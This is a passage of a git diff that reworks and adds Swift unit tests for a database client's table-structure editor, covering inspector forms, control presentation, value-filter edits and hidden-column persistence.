-        let adapter = CreateTableGridAdapter(
-            structureChangeManager: StructureChangeManager(),
-            connection: TestFixtures.makeConnection(type: .postgresql)
+        let editor = StructureDefinitionEditor(
+            manager: StructureChangeManager(),
+            context: .newTable(connection: TestFixtures.makeConnection(type: .postgresql), databaseName: "shop", schemaName: "public"),
+            defaults: suite.defaults
         )
-        adapter.refresh()
+        editor.refresh()
+
+        for section in StructureSection.allCases {
+            #expect(editor.adapter(for: section).model.store.layoutScope == .ephemeral, "\(section.rawValue)")
+        }
+    }
+
+    // MARK: - Hidden columns
+
+    @Test("A section starts with its lean default columns hidden")
+    func defaultHiddenColumns() {
+        let columns = StructureGridStateStore(section: .columns, defaults: suite.defaults)
+        #expect(columns.columnLayout.hiddenColumns == StructureGridStateStore.defaultHiddenColumns(.columns))
+        #expect(columns.columnLayout.hiddenColumns.contains(StructureColumnField.collation.displayName))
+        #expect(!columns.columnLayout.hiddenColumns.contains(StructureColumnField.name.displayName))
+        #expect(StructureGridStateStore(section: .indexes, defaults: suite.defaults).columnLayout.hiddenColumns.isEmpty)
+    }
+
+    @Test("Columns a person hides stay hidden for the next table, per section")
+    func hiddenColumnsPersistPerSection() {
+        let comment = StructureColumnField.comment.displayName
+        let store = StructureGridStateStore(section: .columns, defaults: suite.defaults)
+        store.columnLayout.hiddenColumns = [comment]
+
+        #expect(StructureGridStateStore(section: .columns, defaults: suite.defaults).columnLayout.hiddenColumns == [comment])
+        #expect(
+            StructureGridStateStore(section: .foreignKeys, defaults: suite.defaults).columnLayout.hiddenColumns
+                == StructureGridStateStore.defaultHiddenColumns(.foreignKeys)
+        )
+    }
+
+    @Test("Showing every column is kept too, so the defaults do not come back")
+    func showingEveryColumnPersists() {
+        let store = StructureGridStateStore(section: .columns, defaults: suite.defaults)
+        store.columnLayout.hiddenColumns = []
+
+        #expect(StructureGridStateStore(section: .columns, defaults: suite.defaults).columnLayout.hiddenColumns.isEmpty)
+    }
+
+    @Test("A width change writes nothing to the defaults")
+    func widthsAreNotPersisted() {
+        let store = StructureGridStateStore(section: .indexes, defaults: suite.defaults)
+        store.columnLayout.columnWidths["Name"] = 200
 
-        #expect(adapter.model.store.layoutScope == .ephemeral)
+        #expect(suite.defaults.object(forKey: StructureGridStateStore.hiddenColumnsKey(.indexes)) == nil)
     }
 }
diff --git a/apple/TableProTests/Views/Structure/StructureGridValueFilterEditTests.swift b/apple/TableProTests/Views/Structure/StructureGridValueFilterEditTests.swift
index 38612e4914..7e341d2510 100644
--- a/apple/TableProTests/Views/Structure/StructureGridValueFilterEditTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureGridValueFilterEditTests.swift
@@ -3,7 +3,7 @@
 //  TableProTests
 //
 //  D2: under the grid's value filter the Structure and Create Table grids mapped a display row to the wrong
-//  definition. Every edit now names its row by RowID, the definition's index in the working list.
+//  definition. Every edit now names its row by RowID, which the section's adapter mints per definition.
 //
 
 import Foundation
@@ -14,16 +14,15 @@ import Testing
 @MainActor
 struct StructureGridValueFilterEditTests {
     private let columnNames = ["id", "email", "created_at"]
+    private let suite: EphemeralDefaults
 
-    private func makeSession() -> StructureEditingSession {
-        let session = StructureEditingSession(
-            identity: "shop.users",
-            connection: TestFixtures.makeConnection(database: "shop", type: .mysql),
-            databaseName: "shop",
-            schemaName: nil,
-            tableName: "users"
-        )
-        session.changeManager.loadSchema(
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
+    private func makeEditor() -> StructureDefinitionEditor {
+        let manager = StructureChangeManager()
+        manager.loadSchema(
             tableName: "users",
             columns: columnNames.map {
                 ColumnInfo(name: $0, dataType: "VARCHAR(64)", isNullable: true, isPrimaryKey: false)
@@ -32,8 +31,30 @@ struct StructureGridValueFilterEditTests {
             foreignKeys: [],
             primaryKey: []
         )
-        session.gridAdapter.refresh()
-        return session
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .existingTable(
+                connection: TestFixtures.makeConnection(database: "shop", type: .mysql),
+                databaseName: "shop",
+                schemaName: nil,
+                tableName: "users",
+                objectKind: .table,
+                isSessionBound: false
+            ),
+            defaults: suite.defaults
+        )
+        editor.refresh()
+        return editor
+    }
+
+    private func makeCreateTableEditor(_ manager: StructureChangeManager) -> StructureDefinitionEditor {
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .newTable(connection: TestFixtures.makeConnection(type: .postgresql), databaseName: "shop", schemaName: "public"),
+            defaults: suite.defaults
+        )
+        editor.refresh()
+        return editor
     }
 
     // Keeps only the rows whose Name is `value`.
@@ -52,40 +73,43 @@ struct StructureGridValueFilterEditTests {
 
     @Test("A Structure edit on the one row a value filter leaves lands on that column")
     func structureEditUnderFilter() throws {
-        let session = makeSession()
-        let model = session.gridModel
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        let model = adapter.model
         try filterName(to: "created_at", on: model)
         try #require(model.rowCount == 1)
-        #expect(model.rowID(at: 0) == StructureRowProvider.rowID(forSourceIndex: 2))
+        #expect(model.rowID(at: 0) == adapter.rowID(forEntity: editor.manager.workingColumns[2].id))
 
         #expect(try commitName("created_on", atDisplayRow: 0, on: model))
 
-        #expect(session.changeManager.workingColumns.map(\.name) == ["id", "email", "created_on"])
+        #expect(editor.manager.workingColumns.map(\.name) == ["id", "email", "created_on"])
     }
 
     @Test("A Structure inspector edit under a value filter lands on the row the grid shows")
     func structureInspectorEditUnderFilter() throws {
-        let session = makeSession()
-        let adapter = session.gridAdapter
-        try filterName(to: "email", on: session.gridModel)
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        try filterName(to: "email", on: adapter.model)
+        let shown = try #require(adapter.model.rowID(at: 0))
+        let id = try #require(adapter.entityID(of: shown))
         let nameField = try #require(adapter.provider.orderedColumnFields.firstIndex(of: .name))
 
-        #expect(adapter.inspectorRow(atDisplayRow: 0)?.fields.first?.value == "email")
-        adapter.commitInspectorField(displayRow: 0, fieldIndex: nameField, value: "mail")
+        #expect(editor.inspectorForm(for: .columns, id: id)?.name == "email")
+        editor.commitInspectorField(section: .columns, id: id, field: nameField, value: "mail")
 
-        #expect(session.changeManager.workingColumns.map(\.name) == ["id", "mail", "created_at"])
+        #expect(editor.manager.workingColumns.map(\.name) == ["id", "mail", "created_at"])
     }
 
     @Test("A Structure delete under a value filter marks the column the grid shows")
     func structureDeleteUnderFilter() throws {
-        let session = makeSession()
-        let model = session.gridModel
-        try filterName(to: "email", on: model)
-        let shown = try #require(model.rowID(at: 0))
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        try filterName(to: "email", on: adapter.model)
+        let shown = try #require(adapter.model.rowID(at: 0))
 
-        session.gridAdapter.gridDeleteRows([shown])
+        adapter.gridDeleteRows([shown])
 
-        let manager = session.changeManager
+        let manager = editor.manager
         #expect(manager.deleteInsertState(for: 1, tab: .columns).isDeleted)
         #expect(!manager.deleteInsertState(for: 0, tab: .columns).isDeleted)
         #expect(!manager.deleteInsertState(for: 2, tab: .columns).isDeleted)
@@ -93,23 +117,24 @@ struct StructureGridValueFilterEditTests {
 
     @Test("A Structure edit under a sort and a value filter still lands on the row it names")
     func structureEditUnderSortAndFilter() throws {
-        let session = makeSession()
-        let model = session.gridModel
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        let model = adapter.model
         model.setSort(SortState(columns: [SortColumn(columnIndex: 0, direction: .ascending)], source: .user))
         #expect(model.rows.rows.compactMap { $0.values.first?.asText } == ["created_at", "email", "id"])
         try filterName(to: "id", on: model)
-        #expect(model.rowID(at: 0) == StructureRowProvider.rowID(forSourceIndex: 0))
+        #expect(model.rowID(at: 0) == adapter.rowID(forEntity: editor.manager.workingColumns[0].id))
 
         #expect(try commitName("user_id", atDisplayRow: 0, on: model))
 
-        #expect(session.changeManager.workingColumns.map(\.name) == ["user_id", "email", "created_at"])
+        #expect(editor.manager.workingColumns.map(\.name) == ["user_id", "email", "created_at"])
     }
 
     // A value filter rearranges the list, so the drag that moves a column is withdrawn (changed on purpose).
     @Test("A value filter withdraws the column move")
     func valueFilterWithdrawsTheColumnMove() throws {
-        let session = makeSession()
-        let model = session.gridModel
+        let editor = makeEditor()
+        let model = editor.adapter(for: .columns).model
         try filterName(to: "email", on: model)
 
         #expect(!model.configuration.rowReorder.isEnabled)
@@ -125,9 +150,8 @@ struct StructureGridValueFilterEditTests {
             column.dataType = "TEXT"
             manager.addColumn(column)
         }
-        let adapter = CreateTableGridAdapter(structureChangeManager: manager, connection: TestFixtures.makeConnection(type: .postgresql))
-        adapter.refresh()
-        let model = adapter.model
+        let editor = makeCreateTableEditor(manager)
+        let model = editor.adapter(for: .columns).model
         try filterName(to: "email", on: model)
         try #require(model.rowCount == 1)
 
@@ -144,8 +168,8 @@ struct StructureGridValueFilterEditTests {
             column.name = name
             manager.addColumn(column)
         }
-        let adapter = CreateTableGridAdapter(structureChangeManager: manager, connection: TestFixtures.makeConnection(type: .postgresql))
-        adapter.refresh()
+        let editor = makeCreateTableEditor(manager)
+        let adapter = editor.adapter(for: .columns)
         try filterName(to: "created_at", on: adapter.model)
 
         let shown = try #require(adapter.model.rowID(at: 0))
diff --git a/apple/TableProTests/Views/Structure/StructureIndexTypeMenuTests.swift b/apple/TableProTests/Views/Structure/StructureIndexTypeMenuTests.swift
index 3855217c90..6d4b813901 100644
--- a/apple/TableProTests/Views/Structure/StructureIndexTypeMenuTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureIndexTypeMenuTests.swift
@@ -13,6 +13,12 @@ import Testing
 
 @MainActor
 struct StructureIndexTypeMenuTests {
+    private let suite: EphemeralDefaults
+
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
     private func connection() -> DatabaseConnection {
         DatabaseConnection(name: "Test", host: "localhost", port: 5_432, database: "test", username: "u", type: .postgresql)
     }
@@ -31,34 +37,30 @@ struct StructureIndexTypeMenuTests {
         return manager
     }
 
-    private func structureAdapter(_ manager: StructureChangeManager) -> StructureGridAdapter {
-        let adapter = StructureGridAdapter(
-            structureChangeManager: manager,
-            connection: connection(),
-            tableName: "items",
-            databaseName: "test",
-            schemaName: nil,
-            objectKind: .table,
-            isSessionBound: false
-        )
-        adapter.store.switchSubTab(to: .indexes)
-        adapter.refresh()
-        return adapter
+    private func makeEditor(_ manager: StructureChangeManager, creatingTable: Bool = false) -> StructureDefinitionEditor {
+        let context: StructureEditingContext = creatingTable
+            ? .newTable(connection: connection(), databaseName: "test", schemaName: nil)
+            : .existingTable(
+                connection: connection(),
+                databaseName: "test",
+                schemaName: nil,
+                tableName: "items",
+                objectKind: .table,
+                isSessionBound: false
+            )
+        let editor = StructureDefinitionEditor(manager: manager, context: context, defaults: suite.defaults)
+        editor.refresh()
+        return editor
     }
 
     private func column(_ model: DataGridModel, dataIndex: Int) throws -> DataGridColumn {
         try #require(model.columns.columns.first { $0.dataIndex == dataIndex })
     }
 
-    private func options(
-        _ source: any DataGridDataSource,
-        model: DataGridModel,
-        sourceIndex: Int,
-        dataIndex: Int
-    ) throws -> [String]? {
-        source.gridMenuOptions(
-            for: StructureRowProvider.rowID(forSourceIndex: sourceIndex),
-            column: try column(model, dataIndex: dataIndex)
+    private func options(_ adapter: StructureSectionAdapter, sourceIndex: Int, dataIndex: Int) throws -> [String]? {
+        adapter.gridMenuOptions(
+            for: adapter.rowID(forEntity: adapter.manager.workingIndexes[sourceIndex].id),
+            column: try column(adapter.model, dataIndex: dataIndex)
         )?.compactMap(\.sql)
     }
 
@@ -66,30 +68,30 @@ struct StructureIndexTypeMenuTests {
 
     @Test("A bloom row offers BLOOM after the known types, and a b-tree row offers the known types alone")
     func rowOffersItsOwnType() throws {
-        let adapter = structureAdapter(manager(indexTypes: ["bloom", "btree"]))
+        let editor = makeEditor(manager(indexTypes: ["bloom", "btree"]))
+        let adapter = editor.adapter(for: .indexes)
         let typeColumn = StructureRowProvider.indexTypeColumn
 
-        #expect(try options(adapter, model: adapter.model, sourceIndex: 0, dataIndex: typeColumn) == Self.knownNames + ["BLOOM"])
-        #expect(try options(adapter, model: adapter.model, sourceIndex: 1, dataIndex: typeColumn) == Self.knownNames)
-        #expect(try options(adapter, model: adapter.model, sourceIndex: 0, dataIndex: 3) == nil)
+        #expect(try options(adapter, sourceIndex: 0, dataIndex: typeColumn) == Self.knownNames + ["BLOOM"])
+        #expect(try options(adapter, sourceIndex: 1, dataIndex: typeColumn) == Self.knownNames)
+        #expect(try options(adapter, sourceIndex: 0, dataIndex: 3) == nil)
     }
 
-    @Test("The inspector's Type picker for a CLUSTERED row holds the value it shows")
-    func inspectorPickerHoldsTheRowType() throws {
-        let adapter = structureAdapter(manager(indexTypes: ["CLUSTERED"]))
-        let row = try #require(adapter.inspectorRow(atDisplayRow: 0))
-        let typeField = row.fields[StructureRowProvider.indexTypeColumn]
+    @Test("The inspector's Type menu for a CLUSTERED row holds the value it shows")
+    func inspectorMenuHoldsTheRowType() throws {
+        let editor = makeEditor(manager(indexTypes: ["CLUSTERED"]))
+        let form = try #require(editor.inspectorForm(for: .indexes, id: editor.manager.workingIndexes[0].id))
+        let typeField = form.fields[StructureRowProvider.indexTypeColumn]
 
         #expect(typeField.value == "CLUSTERED")
-        #expect(typeField.editor == .enumPicker(values: Self.knownNames + ["CLUSTERED"]))
+        #expect(typeField.kind == .menu(GridMenuOption.values(Self.knownNames + ["CLUSTERED"])))
     }
 
     @Test("The new-table grid offers a pasted index its own type the same way")
     func createTableOffersItsOwnType() throws {
-        let adapter = CreateTableGridAdapter(structureChangeManager: manager(indexTypes: ["hnsw"]), connection: connection())
-        adapter.select(.indexes)
+        let editor = makeEditor(manager(indexTypes: ["hnsw"]), creatingTable: true)
 
-        #expect(try options(adapter, model: adapter.model, sourceIndex: 0, dataIndex: StructureRowProvider.indexTypeColumn)
+        #expect(try options(editor.adapter(for: .indexes), sourceIndex: 0, dataIndex: StructureRowProvider.indexTypeColumn)
             == Self.knownNames + ["HNSW"])
     }
 
diff --git a/apple/TableProTests/Views/Structure/StructureInspectorFormTests.swift b/apple/TableProTests/Views/Structure/StructureInspectorFormTests.swift
new file mode 100644
index 0000000000..94ca1adf4c
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/StructureInspectorFormTests.swift
@@ -0,0 +1,228 @@
+//
+//  StructureInspectorFormTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+// The inspector's form for one definition, as the editor builds it and takes its edits back.
+@MainActor
+struct StructureInspectorFormTests {
+    private func makeSession(
+        type: DatabaseType = .mysql,
+        objectKind: TableInfo.TableType = .table
+    ) -> StructureEditingSession {
+        let session = StructureEditingSession(
+            identity: "test.users",
+            connection: TestFixtures.makeConnection(database: "test", type: type),
+            databaseName: "test",
+            schemaName: nil,
+            tableName: "users",
+            objectKind: objectKind
+        )
+        session.changeManager.loadSchema(
+            tableName: "users",
+            columns: [
+                ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
+                ColumnInfo(name: "email", dataType: "VARCHAR(255)", isNullable: true, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
+            ],
+            indexes: [],
+            foreignKeys: [],
+            primaryKey: ["id"]
+        )
+        session.markBaselineAdopted()
+        session.editor.refresh()
+        return session
+    }
+
+    private func emailID(_ session: StructureEditingSession) throws -> UUID {
+        try #require(session.changeManager.workingColumns.first { $0.name == "email" }).id
+    }
+
+    private func emailForm(_ session: StructureEditingSession) throws -> StructureInspectorForm {
+        let id = try emailID(session)
+        return try #require(session.editor.inspectorForm(for: .columns, id: id))
+    }
+
+    private func field(
+        _ form: StructureInspectorForm,
+        _ field: StructureColumnField
+    ) throws -> StructureInspectorForm.Field {
+        try #require(form.fields.first { $0.label == field.displayName })
+    }
+
+    private func commit(_ session: StructureEditingSession, _ field: StructureColumnField, _ value: String) throws {
+        let form = try emailForm(session)
+        let index = try self.field(form, field).id
+        session.editor.commitInspectorField(section: .columns, id: form.entityID, field: index, value: value)
+    }
+
+    // MARK: - Content
+
+    @Test("The form names the definition and lists the grid's own fields")
+    func formDescribesTheDefinition() throws {
+        let session = makeSession()
+        let form = try emailForm(session)
+
+        #expect(form.name == "email")
+        #expect(form.section == .columns)
+        #expect(form.isEditable)
+        #expect(!form.isNew)
+        #expect(!form.isDeleted)
+        let labels = form.fields.map { $0.label }
+        let headings = session.editor.adapter(for: .columns).provider.orderedColumnFields.map { $0.displayName }
+        #expect(labels == headings)
+        #expect(try field(form, .type).value == "VARCHAR(255)")
+    }
+
+    @Test("Each field gets the control its grid cell has")
+    func controlsFollowTheGrid() throws {
+        let form = try emailForm(makeSession())
+
+        #expect(StructureInspectorControl.resolve(try field(form, .name)) == .text)
+        #expect(StructureInspectorControl.resolve(try field(form, .type)) == .typePicker)
+        #expect(StructureInspectorControl.resolve(try field(form, .nullable)) == .checkbox)
+        #expect(StructureInspectorControl.resolve(try field(form, .comment)) == .multiline)
+    }
+
+    @Test("An edited field reads as modified and the others do not")
+    func editedFieldIsModified() throws {
+        let session = makeSession()
+        var email = try #require(session.changeManager.workingColumns.first { $0.name == "email" })
+        email.dataType = "TEXT"
+        session.changeManager.updateColumn(id: email.id, with: email)
+
+        let form = try emailForm(session)
+        #expect(try field(form, .type).isModified)
+        #expect(try !field(form, .name).isModified)
+    }
+
+    // MARK: - Read-only
+
+    @Test("A definition marked for deletion is read-only")
+    func deletedDefinitionIsReadOnly() throws {
+        let session = makeSession()
+        session.changeManager.deleteColumn(id: try emailID(session))
+
+        let form = try emailForm(session)
+        #expect(form.isDeleted)
+        #expect(!form.isEditable)
+        #expect(form.fields.allSatisfy { !$0.isEditable })
+    }
+
+    @Test("A save holding the edits makes the form read-only until it lets go")
+    func heldSaveIsReadOnly() throws {
+        let session = makeSession()
+        let manager = session.changeManager
+        var email = try #require(manager.workingColumns.first { $0.name == "email" })
+        email.comment = "Contact"
+        manager.updateColumn(id: email.id, with: email)
+
+        let snapshot = try #require(manager.holdForSave())
+        #expect(try !emailForm(session).isEditable)
+
+        manager.releaseHold(snapshot, written: false)
+        #expect(try emailForm(session).isEditable)
+    }
+
+    @Test("Safe Mode makes the form read-only")
+    func safeModeIsReadOnly() throws {
+        let session = makeSession()
+        session.editor.isReadOnly = true
+
+        let form = try emailForm(session)
+        #expect(!form.isEditable)
+        #expect(form.fields.allSatisfy { !$0.isEditable })
+    }
+
+    @Test("A materialized view locks the fields its grid locks")
+    func materializedViewLocksFields() throws {
+        let form = try emailForm(makeSession(type: .postgresql, objectKind: .materializedView))
+
+        #expect(form.isEditable)
+        #expect(try field(form, .name).isEditable)
+        #expect(try field(form, .comment).isEditable)
+        #expect(try !field(form, .type).isEditable)
+        #expect(try !field(form, .nullable).isEditable)
+        #expect(try !field(form, .defaultValue).isEditable)
+    }
+
+    // MARK: - Commits
+
+    @Test("A commit stages one schema change on the definition")
+    func commitStagesAChange() throws {
+        let session = makeSession()
+        try commit(session, .type, "TEXT")
+
+        #expect(session.changeManager.hasChanges)
+        #expect(session.changeManager.canUndo)
+        #expect(session.changeManager.workingColumns[1].dataType == "TEXT")
+    }
+
+    @Test("A commit lands on the definition it names, whatever the filter shows")
+    func commitFollowsIdentityUnderAFilter() throws {
+        let session = makeSession()
+        session.editor.searchText = "email"
+        try commit(session, .name, "user_email")
+
+        #expect(session.changeManager.workingColumns[0].name == "id")
+        #expect(session.changeManager.workingColumns[1].name == "user_email")
+    }
+
+    @Test("The checkbox writes the value the grid's menu offers")
+    func checkboxWritesTheGridValue() throws {
+        let session = makeSession()
+        try commit(session, .nullable, StructureRowProvider.booleanOptions[1])
+
+        #expect(session.changeManager.workingColumns[1].isNullable == false)
+    }
+
+    @Test("A locked field refuses a commit from the inspector")
+    func lockedFieldRefusesTheCommit() throws {
+        let session = makeSession(type: .postgresql, objectKind: .materializedView)
+        try commit(session, .type, "TEXT")
+        try commit(session, .defaultValue, "'x'")
+
+        #expect(!session.changeManager.hasChanges)
+        #expect(session.changeManager.workingColumns[1].dataType == "VARCHAR(255)")
+        #expect(session.changeManager.workingColumns[1].defaultValue == nil)
+    }
+
+    @Test("A commit refreshes the editor, so the form is read again")
+    func commitBumpsTheRevision() throws {
+        let session = makeSession()
+        let revision = session.editor.revision
+        try commit(session, .comment, "Contact")
+
+        #expect(session.editor.revision != revision)
+        #expect(try field(emailForm(session), .comment).value == "Contact")
+    }
+
+    // MARK: - Create Table
+
+    @Test("A drafted table's new column is editable and takes a name")
+    func createTableFormTakesEdits() throws {
+        let manager = StructureChangeManager()
+        manager.addNewColumn()
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .newTable(
+                connection: TestFixtures.makeConnection(database: "test"),
+                databaseName: "test",
+                schemaName: nil
+            )
+        )
+        let id = try #require(manager.workingColumns.first).id
+        let form = try #require(editor.inspectorForm(for: .columns, id: id))
+        #expect(form.isEditable)
+
+        let name = try #require(form.fields.first { $0.label == StructureColumnField.name.displayName })
+        editor.commitInspectorField(section: .columns, id: id, field: name.id, value: "sku")
+        #expect(manager.workingColumns[0].name == "sku")
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/StructureInspectorPresentationTests.swift b/apple/TableProTests/Views/Structure/StructureInspectorPresentationTests.swift
new file mode 100644
index 0000000000..baadf47579
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/StructureInspectorPresentationTests.swift
@@ -0,0 +1,173 @@
+//
+//  StructureInspectorPresentationTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import Testing
+
+@MainActor
+struct StructureInspectorPresentationTests {
+    private func field(
+        _ kind: StructureInspectorForm.Field.Kind,
+        value: String? = "x",
+        isEditable: Bool = true
+    ) -> StructureInspectorForm.Field {
+        StructureInspectorForm.Field(id: 0, label: "Field", value: value, kind: kind, isModified: false, isEditable: isEditable)
+    }
+
+    // MARK: - Subject
+
+    @Test("A selected index is named as an index of its table")
+    func entitySubjectNamesItsKind() {
+        let subject = StructureInspectorPresentation.subject(
+            for: .entity(.indexes, UUID()),
+            definitionName: "idx_email",
+            tableName: "users"
+        )
+        #expect(subject == .definition(name: "idx_email", section: .indexes, table: "users"))
+        #expect(subject.subtitle == String(format: String(localized: "Index of %@"), "users"))
+    }
+
+    @Test("An unnamed definition in a table not yet named reads as new, with no table")
+    func newDefinitionInNewTable() {
+        let subject = StructureInspectorPresentation.subject(
+            for: .entity(.columns, UUID()),
+            definitionName: "",
+            tableName: ""
+        )
+        #expect(subject.title == String(localized: "New Column"))
+        #expect(subject.subtitle == String(localized: "Column"))
+    }
+
+    @Test("Nothing selected, or several, names the table")
+    func tableSubject() {
+        #expect(StructureInspectorPresentation.subject(for: .table, definitionName: nil, tableName: "users")
+            == .tableOnly(table: "users"))
+        #expect(StructureInspectorPresentation.subject(for: .several(.columns, 3), definitionName: nil, tableName: "users")
+            == .tableOnly(table: "users"))
+    }
+
+    @Test("A table Create Table has not named yet reads as a new table")
+    func unnamedTable() {
+        let subject = StructureInspectorPresentation.subject(for: .table, definitionName: nil, tableName: "")
+        #expect(subject.title == String(localized: "New Table"))
+    }
+
+    @Test("Several selected say how many of which kind")
+    func severalTitle() {
+        #expect(StructureInspectorPresentation.severalTitle(.columns, count: 3)
+            == String(format: String(localized: "%d Columns Selected"), 3))
+        #expect(StructureInspectorPresentation.severalTitle(.foreignKeys, count: 2)
+            == String(format: String(localized: "%d Foreign Keys Selected"), 2))
+        #expect(StructureInspectorPresentation.severalTitle(.checkConstraints, count: 4).contains("4"))
+    }
+
+    @Test("Each control is identified by its section and field index")
+    func controlIdentifier() {
+        #expect(StructureInspectorPresentation.controlIdentifier(section: .foreignKeys, field: 3)
+            == "structure-inspector-foreignKeys-3")
+    }
+
+    // MARK: - Controls
+
+    @Test("Each editable field kind gets its control")
+    func editableControls() {
+        #expect(StructureInspectorControl.resolve(field(.text)) == .text)
+        #expect(StructureInspectorControl.resolve(field(.multiline)) == .multiline)
+        #expect(StructureInspectorControl.resolve(field(.toggle, value: "YES")) == .checkbox)
+        #expect(StructureInspectorControl.resolve(field(.typePicker)) == .typePicker)
+
+        let menu = [GridMenuOption.value(title: "BTREE", sql: "BTREE"), .value(title: "HASH", sql: "HASH")]
+        guard case .popUp(let choices) = StructureInspectorControl.resolve(field(.menu(menu), value: "HASH")) else {
+            Issue.record("A menu field is a pop-up button")
+            return
+        }
+        #expect(choices.selectedTitle == "HASH")
+
+        let combo = [GridMenuOption.value(title: "NULL", sql: "NULL"), .custom(title: "Custom…")]
+        guard case .comboBox = StructureInspectorControl.resolve(field(.combo(combo), value: "0")) else {
+            Issue.record("A combo field is a combo box")
+            return
+        }
+    }
+
+    @Test("A field the form cannot edit is plain text, whatever its kind")
+    func readOnlyControls() {
+        #expect(StructureInspectorControl.resolve(field(.text, value: "email", isEditable: false)) == .readOnly("email"))
+        #expect(StructureInspectorControl.resolve(field(.toggle, value: "NO", isEditable: false)) == .readOnly("NO"))
+        #expect(StructureInspectorControl.resolve(field(.typePicker, value: nil, isEditable: false)) == .readOnly(""))
+        #expect(StructureInspectorControl.resolve(field(.combo([]), value: "''", isEditable: false)) == .readOnly("''"))
+    }
+
+    @Test("A read-only menu field shows the title the menu gives its value")
+    func readOnlyMenuShowsTitle() {
+        let options = [GridMenuOption.value(title: "Empty string", sql: "''")]
+        #expect(StructureInspectorControl.resolve(field(.menu(options), value: "''", isEditable: false))
+            == .readOnly("Empty string"))
+    }
+
+    // MARK: - Choices
+
+    @Test("The item whose SQL the field holds is selected, and picking an item writes its SQL")
+    func selectsBySQL() throws {
+        let choices = StructureInspectorChoices(
+            options: [.value(title: "Empty string", sql: "''"), .value(title: "NULL", sql: "NULL")],
+            current: "''"
+        )
+        #expect(choices.selectedTitle == "Empty string")
+        let null = try #require(choices.items.first { $0.title == "NULL" })
+        #expect(choices.value(of: null.id) == "NULL")
+    }
+
+    @Test("A value the menu does not list is kept as the first item and selected")
+    func keepsUnlistedValue() {
+        let choices = StructureInspectorChoices(options: GridMenuOption.values(["utf8mb4", "latin1"]), current: "utf8")
+        #expect(choices.items.first?.title == "utf8")
+        #expect(choices.selectedTitle == "utf8")
+        #expect(choices.items.count == 3)
+    }
+
+    @Test("A value that differs only in case selects the listed item rather than adding one")
+    func matchesCaseInsensitively() {
+        let choices = StructureInspectorChoices(options: GridMenuOption.values(["utf8mb4"]), current: "UTF8MB4")
+        #expect(choices.items.count == 1)
+        #expect(choices.selectedTitle == "utf8mb4")
+    }
+
+    @Test("An empty value selects the item that clears, and nothing when there is none")
+    func emptyValue() {
+        let clearing = StructureInspectorChoices(
+            options: [.clear(title: "No Default"), .value(title: "NULL", sql: "NULL")],
+            current: ""
+        )
+        #expect(clearing.selectedTitle == "No Default")
+
+        let plain = StructureInspectorChoices(options: GridMenuOption.values(["CASCADE", "RESTRICT"]), current: "")
+        #expect(plain.selectedID == nil)
+        #expect(plain.items.count == 2)
+    }
+
+    @Test("A section header starts a group and the custom entry is left to free text")
+    func groupsAndCustom() {
+        let choices = StructureInspectorChoices(
+            options: [
+                .value(title: "NULL", sql: "NULL"),
+                .sectionHeader("Functions"),
+                .value(title: "CURRENT_TIMESTAMP", sql: "CURRENT_TIMESTAMP"),
+                .custom(title: "Custom…"),
+            ],
+            current: "NULL"
+        )
+        #expect(choices.groups.map { $0.header } == [nil, "Functions"])
+        #expect(choices.groups.map { group in group.items.map { $0.title } } == [["NULL"], ["CURRENT_TIMESTAMP"]])
+        #expect(!choices.items.contains { $0.title == "Custom…" })
+    }
+
+    @Test("A header with nothing under it still shows, since it reports the menu's state")
+    func lonelyHeaderStays() {
+        let choices = StructureInspectorChoices(options: [.sectionHeader("Loading…")], current: "")
+        #expect(choices.groups.map { $0.header } == ["Loading…"])
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift b/apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift
deleted file mode 100644
index f9b86cebfb..0000000000
--- a/apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift
+++ /dev/null
@@ -1,182 +0,0 @@
-//
-//  StructureInspectorRowBuilderTests.swift
-//  TableProTests
-//
-
-import Foundation
-@testable import TablePro
-import TableProPluginKit
-import Testing
-
-@MainActor
-struct StructureInspectorRowBuilderTests {
-    private func loadedManager() -> StructureChangeManager {
-        let manager = StructureChangeManager()
-        manager.loadSchema(
-            tableName: "users",
-            columns: [
-                ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true,
-                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
-                ColumnInfo(name: "email", dataType: "VARCHAR(255)", isNullable: true, isPrimaryKey: false,
-                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
-            ],
-            indexes: [],
-            foreignKeys: [],
-            primaryKey: ["id"]
-        )
-        return manager
-    }
-
-    private func provider(
-        _ manager: StructureChangeManager,
-        tab: StructureTab = .columns,
-        filterText: String? = nil,
-        sortDescriptor: StructureSortDescriptor? = nil
-    ) -> StructureRowProvider {
-        StructureRowProvider(
-            changeManager: manager,
-            tab: tab,
-            databaseType: .mysql,
-            additionalFields: [.primaryKey],
-            serverSupport: .unrestricted,
-            filterText: filterText,
-            sortDescriptor: sortDescriptor
-        )
-    }
-
-    private func value(_ row: InspectorRow, named name: String) -> String? {
-        row.fields.first { $0.name == name }?.value
-    }
-
-    @Test("Fields carry the structure row's own names and values")
-    func fieldsComeFromTheStructureRow() throws {
-        let manager = loadedManager()
-        let row = try #require(StructureInspectorRowBuilder.row(
-            atDisplayRow: 1,
-            tab: .columns,
-            provider: provider(manager),
-            canEditSchema: true
-        ))
-
